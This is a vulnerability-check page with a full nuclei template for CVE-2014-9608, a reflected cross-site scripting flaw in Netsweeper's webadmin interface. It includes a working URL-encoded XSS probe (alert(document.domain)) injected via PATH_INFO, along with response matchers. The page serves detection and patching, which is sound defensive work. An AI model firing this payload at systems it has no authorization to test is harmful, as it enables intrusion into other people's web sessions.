Netsweeper 4.0.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.7%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting vulnerability in webadmin/policy/group_table_ajax.php/ in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/webadmin/policy/group_table_ajax.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "webadminU=" or "webadmin=" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2014-9608 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-9608

info:
  name: Netsweeper 4.0.3 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    A cross-site scripting vulnerability in webadmin/policy/group_table_ajax.php/ in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9608
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-9608
    cwe-id: CWE-79
    epss-score: 0.04663
    epss-percentile: 0.91827
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,xss,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webadmin/policy/group_table_ajax.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - 'webadminU='
          - 'webadmin='
        condition: or

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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